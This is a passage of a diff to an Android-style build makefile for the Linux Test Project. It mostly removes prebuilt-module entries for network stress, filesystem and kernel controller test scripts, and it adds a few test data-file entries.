-module_prebuilt := testcases/bin/mc_commo
-module_src_files := testcases/network/multicast/mc_commo/mc_commo
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/geneve01.sh
-module_src_files := testcases/network/virt/geneve01.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-diffip12
-module_src_files := testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip12
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-diffip13
-module_src_files := testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip13
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-diffip10
-module_src_files := testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip10
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp_ipsec.sh
-module_src_files := testcases/network/stress/tcp/tcp_ipsec.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-diffip14
-module_src_files := testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip14
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ltpSockets.sh
-module_src_files := testcases/network/sockets/ltpSockets.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/unshare01.sh
-module_src_files := testcases/commands/unshare/unshare01.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/freeze_move_thaw.sh
-module_src_files := testcases/kernel/controllers/freezer/freeze_move_thaw.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/rcp01
-module_src_files := testcases/network/tcp_cmds/rcp/rcp01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/unzip01.sh
-module_src_files := testcases/commands/unzip/unzip01.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/runpwtests02.sh
-module_src_files := testcases/kernel/power_management/runpwtests02.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/icmp6-multi-diffip04
-module_src_files := testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip04
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/icmp6-multi-diffip05
-module_src_files := testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip05
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/icmp6-multi-diffip06
-module_src_files := testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip06
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/icmp6-multi-diffip07
-module_src_files := testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip07
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp4-uni-basic05
-module_src_files := testcases/network/stress/udp/uni-basic/udp4-uni-basic05
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/icmp6-multi-diffip01
-module_src_files := testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/icmp6-multi-diffip02
-module_src_files := testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip02
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/icmp6-multi-diffip03
-module_src_files := testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip03
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tracepath01.sh
-module_src_files := testcases/network/tcp_cmds/tracepath/tracepath01.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/cmdlib.sh
-module_src_files := testcases/lib/cmdlib.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs-bench-test2.sh
-module_src_files := testcases/kernel/fs/fs-bench/fs-bench-test2.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_racer_file_concat.sh
-module_src_files := testcases/kernel/fs/racer/fs_racer_file_concat.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/bin/makedir
-module_src_files := testcases/kernel/fs/fs_bind/bin/makedir
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-tso09
-module_src_files := testcases/network/stress/tcp/uni-tso/tcp6-uni-tso09
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-tso08
-module_src_files := testcases/network/stress/tcp/uni-tso/tcp6-uni-tso08
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-tso05
-module_src_files := testcases/network/stress/tcp/uni-tso/tcp6-uni-tso05
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-tso04
-module_src_files := testcases/network/stress/tcp/uni-tso/tcp6-uni-tso04
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-tso07
-module_src_files := testcases/network/stress/tcp/uni-tso/tcp6-uni-tso07
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-tso06
-module_src_files := testcases/network/stress/tcp/uni-tso/tcp6-uni-tso06
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-tso01
-module_src_files := testcases/network/stress/tcp/uni-tso/tcp6-uni-tso01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/pm_ilb_test.py
-module_src_files := testcases/kernel/power_management/pm_ilb_test.py
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-tso03
-module_src_files := testcases/network/stress/tcp/uni-tso/tcp6-uni-tso03
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-tso02
-module_src_files := testcases/network/stress/tcp/uni-tso/tcp6-uni-tso02
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp4-uni-basic04
-module_src_files := testcases/network/stress/udp/uni-basic/udp4-uni-basic04
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/smack_file_access.sh
-module_src_files := testcases/kernel/security/smack/smack_file_access.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fsx.sh
-module_src_files := testcases/network/nfs/fsx-linux/fsx.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/vxlan02.sh
-module_src_files := testcases/network/virt/vxlan02.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ftp-download-stress
-module_src_files := testcases/network/stress/ftp/ftp-download-stress
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/dynamic_debug01.sh
-module_src_files := testcases/kernel/tracing/dynamic_debug/dynamic_debug01.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/memcg_memsw_limit_in_bytes_test.sh
-module_src_files := testcases/kernel/controllers/memcg/functional/memcg_memsw_limit_in_bytes_test.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ssh01_s1
-module_src_files := testcases/network/tcp_cmds/ssh/ssh01_s1
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/freeze_sleep_thaw.sh
-module_src_files := testcases/kernel/controllers/freezer/freeze_sleep_thaw.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/broken_ip6-nexthdr
-module_src_files := testcases/network/stress/broken_ip/broken_ip6-nexthdr
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/move/test10
-module_src_files := testcases/kernel/fs/fs_bind/move/test10
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/move/test11
-module_src_files := testcases/kernel/fs/fs_bind/move/test11
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/data/file01/in.m4
-module_src_files := testcases/commands/file/datafiles/in.m4
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/move/test13
-module_src_files := testcases/kernel/fs/fs_bind/move/test13
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/move/test14
-module_src_files := testcases/kernel/fs/fs_bind/move/test14
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/move/test15
-module_src_files := testcases/kernel/fs/fs_bind/move/test15
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/move/test16
-module_src_files := testcases/kernel/fs/fs_bind/move/test16
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/move/test17
-module_src_files := testcases/kernel/fs/fs_bind/move/test17
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-sameport11
-module_src_files := testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport11
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-sameport10
-module_src_files := testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport10
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-sameport13
-module_src_files := testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport13
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-sameport12
-module_src_files := testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport12
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/rbind/test08
-module_src_files := testcases/kernel/fs/fs_bind/rbind/test08
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-sameport14
-module_src_files := testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport14
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/mcast6-queryfld02
-module_src_files := testcases/network/stress/multicast/query-flood/mcast6-queryfld02
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ftrace_regression02.sh
-module_src_files := testcases/kernel/tracing/ftrace_test/ftrace_regression02.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/zram02.sh
-module_src_files := testcases/kernel/device-drivers/zram/zram02.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp4-uni-basic06
-module_src_files := testcases/network/stress/udp/uni-basic/udp4-uni-basic06
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-diffport07
-module_src_files := testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport07
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-diffport06
-module_src_files := testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport06
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-diffport05
-module_src_files := testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport05
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-diffport04
-module_src_files := testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport04
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-diffport03
-module_src_files := testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport03
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-diffport02
-module_src_files := testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport02
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-diffport01
-module_src_files := testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ima_measurements.sh
-module_src_files := testcases/kernel/security/integrity/ima/tests/ima_measurements.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/rbind/test09
-module_src_files := testcases/kernel/fs/fs_bind/rbind/test09
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/rpcinfo01
-module_src_files := testcases/network/rpc/basic_tests/rpcinfo/rpcinfo01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-basic01
-module_src_files := testcases/network/stress/tcp/uni-basic/tcp6-uni-basic01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-diffport09
-module_src_files := testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport09
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-diffport08
-module_src_files := testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport08
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/rbind/test13
-module_src_files := testcases/kernel/fs/fs_bind/rbind/test13
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp_ipsec_vti.sh
-module_src_files := testcases/network/stress/tcp/tcp_ipsec_vti.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ip_tests.sh
-module_src_files := testcases/network/iproute/ip_tests.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp4-uni-basic01
-module_src_files := testcases/network/stress/udp/uni-basic/udp4-uni-basic01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/rbind/test11
-module_src_files := testcases/kernel/fs/fs_bind/rbind/test11
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-basic06
-module_src_files := testcases/network/stress/tcp/uni-basic/tcp6-uni-basic06
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/rbind/test10
-module_src_files := testcases/kernel/fs/fs_bind/rbind/test10
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/bind/test17
-module_src_files := testcases/kernel/fs/fs_bind/bind/test17
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/cpuset_regression_test.sh
-module_src_files := testcases/kernel/controllers/cpuset/cpuset_regression_test.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/rbind/test17
-module_src_files := testcases/kernel/fs/fs_bind/rbind/test17
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/memcg_failcnt.sh
-module_src_files := testcases/kernel/controllers/memcg/functional/memcg_failcnt.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/rbind/test16
-module_src_files := testcases/kernel/fs/fs_bind/rbind/test16
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/dhcp_lib.sh
-module_src_files := testcases/network/dhcp/dhcp_lib.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/memcg_use_hierarchy_test.sh
-module_src_files := testcases/kernel/controllers/memcg/functional/memcg_use_hierarchy_test.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/rbind/test15
-module_src_files := testcases/kernel/fs/fs_bind/rbind/test15
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/freeze_cancel.sh
-module_src_files := testcases/kernel/controllers/freezer/freeze_cancel.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/route4-redirect
-module_src_files := testcases/network/stress/route/route4-redirect
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/move/test19
-module_src_files := testcases/kernel/fs/fs_bind/move/test19
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/route6-change-gw
-module_src_files := testcases/network/stress/route/route6-change-gw
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/net_cmdlib.sh
-module_src_files := testcases/lib/net_cmdlib.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/test_3_1.sh
-module_src_files := testcases/kernel/controllers/cgroup/test_3_1.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/rpc01
-module_src_files := testcases/network/rpc/basic_tests/rpc01/rpc01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/cpuhotplug_testsuite.sh
-module_src_files := testcases/kernel/hotplug/cpu_hotplug/include/cpuhotplug_testsuite.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/acl_test01
-module_src_files := testcases/kernel/fs/acls/acl_test01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/test.sh
-module_src_files := testcases/lib/test.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ext4_subdir_limit_test.sh
-module_src_files := testcases/kernel/fs/ext4-new-features/ext4-subdir-limit/ext4_subdir_limit_test.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-diffnic14
-module_src_files := testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic14
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/change_password.sh
-module_src_files := testcases/kernel/security/mmc_security/change_password.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-diffnic12
-module_src_files := testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic12
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-diffnic13
-module_src_files := testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic13
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-diffnic10
-module_src_files := testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic10
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-diffnic11
-module_src_files := testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic11
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-diffnic14
-module_src_files := testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic14
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/cpuhotplug_do_spin_loop
-module_src_files := testcases/kernel/hotplug/cpu_hotplug/tools/cpuhotplug_do_spin_loop
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/test_9_2.sh
-module_src_files := testcases/kernel/controllers/cgroup/test_9_2.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-diffnic10
-module_src_files := testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic10
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-diffnic11
-module_src_files := testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic11
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-diffnic12
-module_src_files := testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic12
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-diffnic13
-module_src_files := testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic13
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/find_portbundle
-module_src_files := testcases/network/stress/ns-tools/find_portbundle
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/macsec01.sh
-module_src_files := testcases/network/virt/macsec01.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/nfs06
-module_src_files := testcases/network/nfs/nfs_stress/nfs06
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/nfs01
-module_src_files := testcases/network/nfs/nfs_stress/nfs01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp4-uni-basic02
-module_src_files := testcases/network/stress/udp/uni-basic/udp4-uni-basic02
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/nfs03
-module_src_files := testcases/network/nfs/nfs_stress/nfs03
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/if-addr-adddel
-module_src_files := testcases/network/stress/interface/if-addr-adddel
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/rbind/test30
-module_src_files := testcases/kernel/fs/fs_bind/rbind/test30
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/rbind/test33
-module_src_files := testcases/kernel/fs/fs_bind/rbind/test33
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/rbind/test32
-module_src_files := testcases/kernel/fs/fs_bind/rbind/test32
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/rbind/test35
-module_src_files := testcases/kernel/fs/fs_bind/rbind/test35
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/rbind/test34
-module_src_files := testcases/kernel/fs/fs_bind/rbind/test34
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/rbind/test37
-module_src_files := testcases/kernel/fs/fs_bind/rbind/test37
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/rbind/test36
-module_src_files := testcases/kernel/fs/fs_bind/rbind/test36
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-winscale14
-module_src_files := testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale14
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ima_tpm.sh
-module_src_files := testcases/kernel/security/integrity/ima/tests/ima_tpm.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-winscale11
-module_src_files := testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale11
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-winscale10
-module_src_files := testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale10
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-winscale13
-module_src_files := testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale13
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-winscale12
-module_src_files := testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale12
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ssh-stress
-module_src_files := testcases/network/stress/ssh/ssh-stress
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/check_setkey
-module_src_files := testcases/network/stress/ns-tools/check_setkey
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/stress_floppy
-module_src_files := testcases/kernel/io/stress_floppy/stress_floppy
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/dns-stress02-rmt
-module_src_files := testcases/network/stress/dns/dns-stress02-rmt
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/move/test12
-module_src_files := testcases/kernel/fs/fs_bind/move/test12
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/smack_set_doi.sh
-module_src_files := testcases/kernel/security/smack/smack_set_doi.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/bin/setup
-module_src_files := testcases/kernel/fs/fs_bind/bin/setup
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/vma05.sh
-module_src_files := testcases/kernel/mem/vma/vma05.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-dsackoff12
-module_src_files := testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff12
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-dsackoff13
-module_src_files := testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff13
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-dsackoff10
-module_src_files := testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff10
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-dsackoff11
-module_src_files := testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff11
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-dsackoff14
-module_src_files := testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff14
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-sackoff06
-module_src_files := testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff06
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-sackoff07
-module_src_files := testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff07
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-sackoff04
-module_src_files := testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff04
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-sackoff05
-module_src_files := testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff05
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-sackoff02
-module_src_files := testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff02
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-sackoff03
-module_src_files := testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff03
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-diffip09
-module_src_files := testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip09
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-diffip08
-module_src_files := testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip08
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-diffip07
-module_src_files := testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip07
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-diffip06
-module_src_files := testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip06
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-diffip05
-module_src_files := testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip05
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-diffip04
-module_src_files := testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip04
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-diffip03
-module_src_files := testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip03
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-diffip02
-module_src_files := testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip02
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-diffip01
-module_src_files := testcases/network/stress/tcp/multi-diffip/tcp4-multi-diffip01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-sackoff09
-module_src_files := testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff09
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/move/test18
-module_src_files := testcases/kernel/fs/fs_bind/move/test18
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/can_run_tests.sh
-module_src_files := testcases/network/can/filter-tests/can_run_tests.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/broken_ip4-totlen
-module_src_files := testcases/network/stress/broken_ip/broken_ip4-totlen
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/killall_tcp_traffic
-module_src_files := testcases/network/stress/ns-tools/killall_tcp_traffic
+module_prebuilt := testcases/data/ld01/f1.c
+module_src_files := testcases/commands/ld/datafiles/f1.c
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/data/ext4-ffsb/ffsb-config0
@@ -2601,8 +61,8 @@
 module_src_files := testcases/kernel/fs/ext4-new-features/ext4-ffsb-config/ffsb-config4
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/file01.sh
-module_src_files := testcases/commands/file/file01.sh
+module_prebuilt := testcases/data/ext4-ffsb/ffsb-config5
+module_src_files := testcases/kernel/fs/ext4-new-features/ext4-ffsb-config/ffsb-config5
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/data/ext4-ffsb/ffsb-config6
@@ -2613,998 +73,123 @@
 module_src_files := testcases/kernel/fs/ext4-new-features/ext4-ffsb-config/ffsb-config7
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/ftp01
-module_src_files := testcases/network/tcp_cmds/ftp/ftp01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/bind/test18
-module_src_files := testcases/kernel/fs/fs_bind/bind/test18
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-dsackoff03
-module_src_files := testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff03
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-dsackoff02
-module_src_files := testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff02
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-dsackoff01
-module_src_files := testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-dsackoff07
-module_src_files := testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff07
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-dsackoff06
-module_src_files := testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff06
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-dsackoff05
-module_src_files := testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff05
